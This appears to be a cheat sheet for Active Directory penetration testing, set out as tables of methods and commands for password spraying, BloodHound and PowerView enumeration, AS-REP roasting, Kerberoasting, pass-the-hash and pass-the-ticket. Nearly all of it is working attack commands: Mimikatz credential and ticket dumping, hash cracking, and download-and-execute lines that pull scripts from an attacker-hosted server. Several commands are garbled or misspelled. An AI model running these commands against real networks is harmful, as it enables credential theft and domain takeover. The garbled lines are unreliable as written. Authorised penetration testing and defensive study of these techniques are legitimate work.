



Active Directory Penetration Testing

Initial Access		
Method	Command	
Password Spraying	 .\DomainPasswordSpray.ps1 Involve-DomainPasswordSpray -UserList .\USERFILE -Password PASS Add -Verbose if needed Y 	

	Enumeration
Method	Command
AD Enumeration BloodHound	 cd C:\tools\BloodHound\BloodHound\resources\app\Collectors powershell -ep bypass \SharpHound.ps1 Invoke-Bloodhound -CollectionMethod All It will generate a .ZIP folder cd C:\tools\BloodHound\BloodHound and open the BloodHound app UP: neo4j P assword@123 Click on Upload Data (Top Right) and upload the .ZIP Click on burger menu (Top left) → Database Info → Scroll down → Refresh database stats → Analysis → Choose the needed option
AD Enumeration PowerView	 powershell -ep bypass VPowerView.ps1 Get-NetUser Select-Object -Property samaccountname Get-NetUser -PreauthNotRequired select samaccountname, useraccountcontrol (These are AS-REP roastable accounts) Get-Domain Get-Domain -Domain DOMAINNAME Get-DomainSID Get-DomainController Get-DomainUser Get-DomainUser -Identity USERNAME Get-NetComputer Get-NetGroup (-username "USERNAME" to check group of a user) Get-NetGroupMember "GROUPNAME" (Check Domain Admins group) Find-DomainShare -ComputerName COMPUTERNAME -verbose Get-NetShare Get-NetGPO Get-NetOU Get-NetDomainTrust Get-NetForest

• Get-NetForestDomain



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Privilege Escalation		
Method	Command	
AS-REP Roasting	 powershell -ep bypass \PowerView.ps1 Get-Domainuser Where-Object { \$UserAccountControl -like "*DONT_REQ_PREAUTH*"} Check for samaccountname .\Rubeus.exe asreproast /usr: USERNAME /outfile:hash.txt .\john.exe .\PATH_TO_HASHFILEformat=krb5asrepwordlist=10k-worst-pass.txt 	
Kerberoasting	 powershell -ep bypass \PowerView.ps1 Get-NetUser Where-Object {\$servicePrincipalName} fl setspn -T research -Q */* (Get SPN of user) Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken - ArgumentList "SPN" \Invoke-Mimikatz.ps1 Invoke-mimikatz -Command "Kerberos::list /export" python.exe .\kerberoast-Python3\tgsrepcrack.py .\10k-worst-pass.txt .\TICKETFILE 	





Lateral Movement

Laterat Provenient		
Method	Command	
Pass the Hash	 powershell -ep bypass \PowerView.ps1 Get-Domain Find-LocalAdminAccess Enter-PSSession PCNAME Run HFS on the local system (Not the PSSession) Menu → Add Files → Upload Invoke-Mimikatz.ps1 & Invoke-TokenManipulation.ps1 Copy HFS IP Address In PSSession: iex (New-Object Net.WebClient).DownloadString('HFSIP/FileName') Invoke-TokenManipulation -Enumerate (Logontype 2 is interesting) Invoke-Mimikatz -Command '"privilege::debug" "token:elevate" "sekurlsa::logonpasswords"' Run a new powershell cmd as Administrator Go to \Tools and write powershell -ep bypass as well as\Invoke-Mimikatz.ps1 Invoke-Mimikatz -Command '"sekurlsa::pth /user:administrator /domain:domain /ntlm:NTLMHASH /run:powershell.exe" Enter-PSSession prod.research.SECURITY.local (Domain Controller Machine) 	
Pass the Ticket	 poweshell – ep bypass \PowerView.ps1 Get-Domain Find-LocalAdminAccess Enter-PSSession PCNAME Run HFS on the local system (Not the PSSession) Menu → Add Files → Upload Invoke-Mimikatz.ps1 & Invoke-TokenManipulation.ps1 Copy HFS IP Address In PSSession: iex (New-Object Net.WebClient).DownloadString('HFSIP/FileName') Invoke-Mimikatz -Command '"sekurlsa::tickets /export" Invoke-Mimikatz -Command '"kerberos::ptt TICKET" Is \\DOMAINCONTROLLERNAME\c\$ (If it lists it, then we got access) 	